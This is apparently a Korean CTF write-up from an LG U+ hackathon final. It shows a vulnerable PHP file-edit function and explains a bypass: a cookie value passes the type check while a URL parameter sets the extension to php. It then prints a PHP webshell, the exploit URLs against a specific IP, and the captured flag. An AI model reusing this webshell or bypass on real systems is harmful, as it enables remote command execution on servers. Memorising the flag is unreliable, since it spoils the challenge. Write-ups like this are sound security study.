Hacking/Web
[LG U+ Security Hackathon FINAL] page
kangjiw0n1209
2024. 12. 6. 13:43
public function edit() {
if(!in_array($_REQUEST['type'], ['html', 'js', 'css'])) $this->util->alertExit("Invalid Type");
if($_SERVER['REQUEST_METHOD'] == 'POST'){
$this->file->createFile(ROOT . "user/{$this->userData[uuid]}/{$this->userData[uuid]}.{$_POST[type]}", $_POST['data']);
$this->util->alertExit("Edit Success", 1, 2);
}
$tpl = new \utils\template(VIEWS . 'textarea.tpl');
$tpl->render(["type" => $_GET['type'], "data" => $this->file->getFile(ROOT . "user/{$this->userData[uuid]}/{$this->userData[uuid]}.{$_GET[type]}")]);
}
pageController.php 파일의 edit 함수는 사용자 입력 값을 제대로 검증하지 않아 Path Traversal 취약점이 발생한다. 이를 통해 공격자는 서버에 임의의 파일을 생성하고 실행할 수 있다.
$_REQUEST['type']과 $_GET['type]의 값을 다르게 설정하여 검증을 우회하였다. 먼저, 쿠키에 type=css 값을 설정하여 Invalid Type 검증을 통과했다. 이후, URL에 $_GET['type'] 값을 php로 설정해 PHP Webshell을 작성할 수 있었다.
http://3.36.67.42/index.php?module=page&action=edit&type=php
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
http://3.36.67.42/user/1f36-3ace-f564-405d-b205/1f36-3ace-f564-405d-b205.php?cmd=/readflag
생성된 Webshell을 통해 명령어를 실행
Flag: lguplus2024{22b5662b0527d55728df2f292b1f3cc061ef73cfe5e64af88a7eeb284b9e825a}